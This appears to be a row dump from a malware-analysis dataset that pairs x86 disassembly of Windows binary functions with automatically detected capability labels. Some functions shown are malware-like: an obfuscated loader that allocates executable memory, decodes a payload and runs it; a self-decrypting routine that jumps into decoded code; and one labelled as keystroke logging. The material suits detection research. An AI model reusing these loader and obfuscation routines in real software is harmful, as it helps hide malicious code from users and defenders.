joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402240
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c190
mov eax, dword fs:[0]
push eax
sub esp, 0x58
push ebx
push esi
push edi
mov eax, dword [0x41207c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov esi, edx
push 0x38
xor edi, edi
lea eax, [ebp - 0x60]
push edi
push eax
call fcn.00409150
add esp, 0xc
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x64], 0x3c
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x60], 0x40
jb 0x4022a7
mov ecx, dword [esi]
mov dword [ebp - 0x54], ecx
jmp 0x4022aa
mov dword [ebp - 0x54], esi
mov eax, dword [ebx + 0x10]
push 0x40f1b8
xor edi, edi
mov ecx, ebx
call fcn.004038e0
test eax, eax
je 0x4022cf
cmp dword [ebx + 0x14], 8
jb 0x4022cc
mov edx, dword [ebx]
mov dword [ebp - 0x50], edx
jmp 0x4022cf
mov dword [ebp - 0x50], ebx
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4022f9
push 0x40ff14
lea ecx, [ebp - 0x18]
push ecx
mov dword [ebp - 0x18], 1
call fcn.00406bd4
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x402315
push 0x40ff14
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 0x1c], 2
call fcn.00406bd4
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x402338
push 0x40ff14
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 3
call fcn.00406bd4
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x40236b
push 0x40ff14
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 4
call fcn.00406bd4
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov eax, 0x40236b
ret
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x402379
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4040f0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c710
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x41207c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [esi + 4]
push eax
mov dword [esi], vtable.DFC::DFCEnvironment.0
call fcn.00404350
xor ebx, ebx
lea ecx, [esi + 0x78]
mov dword [ebp - 4], ebx
call fcn.00404420
push 0x11c
lea edi, [esi + 0x128]
push ebx
push edi
mov dword [esi + method.DFC::OSInfo.virtual_0], vtable.DFC::OSInfo.0
call fcn.00409150
add esp, 0xc
push edi
mov dword [edi], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edi, [esi + 0x244]
mov byte [ebp - 4], 2
call fcn.00404a10
mov dword [esi + method.DFC::ConfigInfo.virtual_0], vtable.DFC::ConfigInfo.0
mov dword [esi + 0x28c], ebx
mov dword [esi + 0x2a4], ebx
mov eax, 7
mov dword [esi + 0x2a8], eax
xor ecx, ecx
mov word [esi + 0x294], cx
mov dword [esi + 0x2c4], eax
mov dword [esi + 0x2c0], ebx
xor edx, edx
mov word [esi + 0x2b0], dx
mov dword [esi + 0x2e0], eax
mov dword [esi + 0x2dc], ebx
mov word [esi + 0x2cc], cx
mov dword [esi + 0x2fc], eax
mov dword [esi + 0x2f8], ebx
push 0x40f668
mov word [esi + 0x2e8], dx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 0x290], eax
cmp eax, ebx
je 0x4041fb
push str.SHGetFolderPathW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x28c], eax
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea edi, [esi + 0x304]
call fcn.00405100
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406271
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41207c]
jne 0x40627b
repz ret
jmp fcn.00406c20

Function at 0x4091ca
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41207c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004083b0
and dword [ebp - 0x14], 0
cmp dword [0x413a64], 0
mov dword [ebp - 0x18], eax
jne 0x40927d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409325
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409325
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x413a64], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x413a68], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x413a6c], eax
call edi
push eax
call esi
mov dword [0x413a74], eax
test eax, eax
je 0x40927d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x413a70], eax
mov eax, dword [0x413a70]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4092d6
cmp dword [0x413a74], ecx
je 0x4092d6
push eax
call esi
push dword [0x413a74]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4092d6
test ebx, ebx
je 0x4092d6
call edi
test eax, eax
je 0x4092cd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4092cd
test byte [ebp - 8], 1
jne 0x4092d6
or dword [ebp + 0x10], 0x200000
jmp 0x409309
mov eax, dword [0x413a68]
cmp eax, dword [ebp - 0x18]
je 0x409309
push eax
call esi
test eax, eax
je 0x409309
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409309
mov eax, dword [0x413a6c]
cmp eax, dword [ebp - 0x18]
je 0x409309
push eax
call esi
test eax, eax
je 0x409309
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x413a64]
call esi
test eax, eax
je 0x409325
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409327
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406271
leave
ret
Function at 0x10011620
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100578de
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 4]
cmp dword [ecx + 0x16], 0
mov eax, 0x32
je 0x1001172e
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp + 8]
call fcn.100460f0
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x12], eax
setne al
cmp byte [ebp + 0xc], 0
je 0x10011692
test al, al
je 0x10011692
mov eax, dword [edi + 0x22]
push eax
lea ecx, [ebp + 8]
call fcn.100460f0
mov ecx, dword [esi + 4]
mov edx, dword [ecx + 0x12]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp + 8]
call fcn.100460f0
mov edi, eax
test edi, edi
jne 0x100116d7
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100116d7
mov edx, dword [esi + 4]
mov ecx, dword [edx + 0x16]
mov edx, dword [ebp - 0x14]
push ecx
push 1
push eax
push edx
call dword [sym.imp.msvcr100.dll_fwrite]
add esp, 0x10
cmp eax, 1
je 0x100116d7
mov edi, 0x34
mov eax, dword [esi + 4]
mov ecx, dword [eax + 0x16]
push ecx
call dword [sym.imp.msvcr100.dll_ferror]
add esp, 4
test eax, eax
je 0x10011702
mov edx, dword [esi + 4]
mov eax, dword [edx + 0x16]
push eax
call dword [sym.imp.msvcr100.dll_clearerr]
add esp, 4
mov edi, 0x34
jmp 0x1001171d
mov ecx, dword [esi + 4]
mov edx, dword [ecx + 0x16]
push edx
call dword [sym.imp.msvcr100.dll_ftell]
mov esi, dword [esi + 4]
add esp, 4
cmp eax, dword [esi + 0x1a]
jle 0x1001171d
mov dword [esi + 0x1a], eax
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call sym.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10012490
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057a35
mov eax, dword fs:[0]
push eax
sub esp, 0x81c
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, ecx
mov edx, dword [edi]
mov dword [ebp - 0x814], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x820], edi
call eax
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x824]
push ecx
lea edx, [ebp - 0x828]
push edx
add eax, 4
push eax
call fcn.100460f0
add esp, 0xc
test eax, eax
jne 0x1001253e
mov ecx, dword [edi + 4]
push 0x1005f994
push ecx
call fcn.100460f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012672
mov edx, dword [edi + 4]
mov ebx, dword [edx + 0x16]
mov esi, dword [sym.imp.msvcr100.dll_fseek]
push 2
push eax
push ebx
call esi
add esp, 0xc
test eax, eax
je 0x10012548
mov eax, dword [edi]
mov edx, dword [eax + 0x10]
mov ecx, edi
call edx
mov eax, 0x34
jmp 0x10012674
mov esi, 0x30
jmp 0x10012672
push ebx
call dword [sym.imp.msvcr100.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
add esp, 0x10
test eax, eax
je 0x10012576
mov ecx, dword [ebp - 0x820]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
mov eax, 0x34
jmp 0x10012674
mov eax, dword [ebp - 0x814]
push eax
lea ecx, [ebp - 0x81c]
call fcn.100460f0
mov ecx, dword [ebp - 0x818]
push 0x1005f9ec
push ecx
mov dword [ebp - 4], 0
call fcn.100460f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012653
mov edx, dword [ebp - 0x818]
mov eax, dword [edx + 0x16]
mov dword [ebp - 0x814], eax
test edi, edi
je 0x10012611
mov esi, edi
cmp edi, 0x800
jbe 0x100125cf
mov esi, 0x800
push ebx
push 1
lea ecx, [ebp - 0x810]
push esi
push ecx
call dword [sym.imp.msvcr100.dll_fread]
add esp, 0x10
test eax, eax
je 0x10012692
mov edx, dword [ebp - 0x814]
push edx
push 1
lea eax, [ebp - 0x810]
push esi
push eax
call dword [sym.imp.msvcr100.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x10012692
sub edi, esi
jne 0x100125c0
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov esi, eax
test esi, esi
jne 0x10012653
mov ecx, dword [ebp - 0x818]
add ecx, 4
push ecx
call fcn.100460f0
mov edx, dword [ebp - 0x824]
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0x818]
push edx
push eax
add ecx, 4
push ecx
call fcn.100358a0
add esp, 0x10
mov esi, eax
mov ecx, dword [ebp - 0x820]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
lea ecx, [ebp - 0x81c]
mov dword [ebp - 4], 0xffffffff
call fcn.100460f0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret 4
mov esi, 0x34
jmp 0x10012653
Function at 0x100374d0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100374fb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [ebp - 8]
push eax
mov eax, esi
call fcn.100460f0
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x10037529
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
jne 0x10037522
mov eax, esi
mov dword [ebp - 4], eax
jmp 0x10037525
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1003753b
lea ecx, [ebp - 8]
push ecx
push 0x100374a0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10037540
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.100460f0
mov dword [ebp - 0x188], eax
test eax, eax
je 0x100376bb
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x10037595
mov edi, dword [sym.imp.USER32.dll_GetWindow]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 4
push esi
call edi
test eax, eax
jne 0x10037591
push esi
call ebx
test eax, eax
je 0x10037595
mov esi, eax
jmp 0x10037581
push 0x100
lea eax, [ebp - 0x184]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x100376ab
push 0x80
lea ecx, [ebp - 0x84]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x100376ab
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, esi
jne 0x100376ab
test esi, esi
je 0x100376ab
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push esi
mov ebx, eax
call edi
mov ecx, dword [ebp - 0x188]
push 0
push ecx
mov esi, eax
call edi
mov edi, eax
test ebx, ebx
je 0x100376ab
cmp edi, esi
je 0x100376ab
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push esi
push edi
call ebx
test eax, eax
je 0x10037658
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call esi
push 2
lea ecx, [ebp - 0x190]
push ecx
push 0
push 0x2001
mov dword [ebp - 0x190], 0
call esi
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call esi
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret
Function at 0x100377b0
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x100377c0
mov eax, dword [ecx + 4]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100377e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b5b3
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], 1
call fcn.100460f0
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push edi
push edi
mov dword [ebp - 0x18], edx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10037869
mov dword [esi + 0xc], 0x20
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [esi + 8], ecx
mov eax, dword [0x10083aa8]
cmp eax, edi
jne 0x1003787d
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x52], ebx
mov dword [eax + 0x56], edx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10037b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083674]
cmp eax, 0xffffffff
je 0x10037bb0
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10037ba1
cmp esi, dword [0x10083be8]
jne 0x10037b8a
mov dword [0x10083be8], 0
mov ecx, esi
call fcn.100204a0
mov ecx, esi
call fcn.100460f0
push esi
call sub.msvcr100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [0x10083674]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10037bc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083be8]
test eax, eax
jne 0x10037c2a
mov eax, dword [0x10083674]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10037c2a
push esi
push 0x16c
call sub.msvcr100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10037bf6
mov ecx, eax
call fcn.100460f0
mov esi, eax
jmp 0x10037bf8
xor esi, esi
cmp byte [0x10083be4], 0
jne 0x10037c12
mov ecx, esi
mov dword [0x10083be8], esi
call fcn.10020760
mov eax, esi
pop esi
ret
mov ecx, dword [0x10083674]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.10020760
mov eax, esi
pop esi
ret

Function at 0x100437c0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x100437e6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x100437d0
ret
Function at 0x100460f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x100460ff
pop dword [ebp - 0x3c]
mov eax, 0x100460ff
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x4ac96d32
add dword [ebp - 0x4c], 0x388d819
mov dword [ebp - 0x48], 0xc5da1b92
add dword [ebp - 0x48], 0x6c5930b3
mov dword [ebp - 0x44], 0x92c733a5
sub dword [ebp - 0x44], 0x467aef77
mov dword [ebp - 0x40], 0x5be283fc
sub dword [ebp - 0x40], 0x5be283fc
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xf172cb75
add dword [ebp - 0x4c], 0x82ff9de1
mov dword [ebp - 0x48], 0x401264c6
add dword [ebp - 0x48], 0x159fcaf
mov dword [ebp - 0x44], 0x864b79b9
add dword [ebp - 0x44], 0xdd23f2b3
mov dword [ebp - 0x40], 0x1d2173af
sub dword [ebp - 0x40], 0x1d2173af
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x4e9ab
push 0
call eax
mov ecx, 0x4362
mov esi, eax
mov edi, 0x47b26d3d
add edi, 0xc856a0c3
add edi, dword [ebp - 0x3c]
mov ebx, 0xcf6e0698
xor dword [ebp - 0x14], 0xaf76c08c
mov edx, dword [edi]
mov dword [ebp - 4], 0x13d15c86
add edx, ebx
sub dword [ebp - 0x10], 0xfd49d945
mov dword [esi], edx
xor dword [ebp - 0x28], ecx
add esi, 0x4b77f664
sub esi, 0x4b77f660
add edi, 0x74aaa3cf
sub edi, 0x74aaa3cb
loop 0x10046206
add eax, 0xd15e4829
add eax, 0x2ea2b832
xor ebx, ebx
add ebx, eax
add eax, 0xf3c1ead8
sub eax, 0xf3c1ead3
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x10054c82
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10083a30]
jne 0x10054c8c
repz ret
jmp fcn.100553c9
Function at 0x401ec8
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x405b08
jmp fcn.00401631

Function at 0x401f0e
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x405b08
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401f2b
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x401f30
push 1
pop eax
pop esi
ret
call fcn.00401ec8
pop esi
ret

Function at 0x40892b
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
or ebx, eax
call fcn.0040894f
inc eax
xor dword [esi], edx
mov eax, 0x2898df0a
inc esi
and eax, eax
cmp esi, ecx
jne fcn.0040892b
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405a74
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x40a9bc], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x405b4e
cmp dword [0x40a9b8], 0
jne 0x405b4e
cmp dword [0x40abac], 0
je 0x405b08
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00405864
add esp, 8
mov ebx, eax
test eax, eax
jne 0x405aee
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00405864
add esp, 8
mov ebx, eax
test eax, eax
jne 0x405aee
lea ebx, [ebp - 0x84]
jmp 0x405aef
inc ebx
call fcn.00405a30
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x405b89
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x40a9c0
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00402380
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x40a9c3
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x405b89
cmp dword [0x40a9b8], 0
je 0x405b68
cmp dword [0x40a9b8], 0xffffffff
je 0x405b89
push esi
call dword [0x40a9b8]
pop ecx
mov eax, dword [0x40a9bc]
test eax, eax
je 0x405b89
cmp dword [0x40a9bc], 0xffffffff
je 0x405b89
cmp byte [eax], 0
je 0x405b89
push esi
push eax
call fcn.004059b4
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx